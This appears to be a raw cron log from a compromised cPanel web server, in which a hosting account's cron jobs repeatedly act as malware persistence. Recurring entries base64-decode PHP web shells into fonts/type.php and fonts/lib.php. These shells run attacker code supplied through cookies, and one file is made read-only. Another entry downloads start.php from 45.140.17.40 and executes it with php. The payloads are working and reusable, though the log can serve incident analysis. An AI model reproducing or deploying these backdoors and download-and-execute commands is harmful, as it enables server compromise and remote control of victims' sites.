Sep  2 11:01:01 ip-184-168-122-23 CROND[2506]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:01:01 ip-184-168-122-23 CROND[2508]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 11:01:01 ip-184-168-122-23 CROND[2514]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 11:01:01 ip-184-168-122-23 CROND[2511]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:01:01 ip-184-168-122-23 CROND[2512]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 11:02:01 ip-184-168-122-23 CROND[2713]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:02:01 ip-184-168-122-23 CROND[2712]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 11:02:01 ip-184-168-122-23 CROND[2719]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 11:02:01 ip-184-168-122-23 CROND[2717]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:02:01 ip-184-168-122-23 CROND[2718]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 11:03:01 ip-184-168-122-23 CROND[2809]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:03:01 ip-184-168-122-23 CROND[2811]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 11:03:01 ip-184-168-122-23 CROND[2812]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:03:01 ip-184-168-122-23 CROND[2816]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 11:04:01 ip-184-168-122-23 CROND[2903]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 11:04:01 ip-184-168-122-23 CROND[2906]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 11:04:01 ip-184-168-122-23 CROND[2905]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:04:01 ip-184-168-122-23 CROND[2907]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:04:01 ip-184-168-122-23 CROND[2908]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 11:05:01 ip-184-168-122-23 CROND[3016]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 11:05:01 ip-184-168-122-23 CROND[3017]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 11:05:01 ip-184-168-122-23 CROND[3019]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 11:05:01 ip-184-168-122-23 CROND[3024]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:05:01 ip-184-168-122-23 CROND[3022]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 11:05:01 ip-184-168-122-23 CROND[3025]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 11:05:01 ip-184-168-122-23 CROND[3023]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:06:01 ip-184-168-122-23 CROND[3123]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 11:06:01 ip-184-168-122-23 CROND[3125]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 11:06:01 ip-184-168-122-23 CROND[3127]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:06:01 ip-184-168-122-23 CROND[3128]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 11:06:01 ip-184-168-122-23 CROND[3126]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:07:01 ip-184-168-122-23 CROND[3210]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:07:01 ip-184-168-122-23 CROND[3213]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:07:01 ip-184-168-122-23 CROND[3212]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 11:07:01 ip-184-168-122-23 CROND[3214]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 11:08:01 ip-184-168-122-23 CROND[3379]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 11:08:01 ip-184-168-122-23 CROND[3382]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 11:08:01 ip-184-168-122-23 CROND[3381]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:08:01 ip-184-168-122-23 CROND[3383]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:08:01 ip-184-168-122-23 CROND[3384]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 11:09:01 ip-184-168-122-23 CROND[3482]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 11:09:01 ip-184-168-122-23 CROND[3485]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 11:09:01 ip-184-168-122-23 CROND[3486]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 11:09:01 ip-184-168-122-23 CROND[3484]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:09:01 ip-184-168-122-23 CROND[3487]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:10:01 ip-184-168-122-23 CROND[3660]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 11:10:01 ip-184-168-122-23 CROND[3662]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:10:01 ip-184-168-122-23 CROND[3665]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:10:01 ip-184-168-122-23 CROND[3669]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 11:10:01 ip-184-168-122-23 CROND[3668]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 11:10:01 ip-184-168-122-23 CROND[3671]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 11:10:01 ip-184-168-122-23 CROND[3667]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 11:10:01 ip-184-168-122-23 CROND[3672]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 11:11:02 ip-184-168-122-23 CROND[3815]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:11:02 ip-184-168-122-23 CROND[3817]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:11:02 ip-184-168-122-23 CROND[3818]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 11:11:02 ip-184-168-122-23 CROND[3819]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 11:12:01 ip-184-168-122-23 CROND[3941]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 11:12:01 ip-184-168-122-23 CROND[3942]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:12:01 ip-184-168-122-23 CROND[3943]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 11:12:01 ip-184-168-122-23 CROND[3944]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:12:01 ip-184-168-122-23 CROND[3946]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
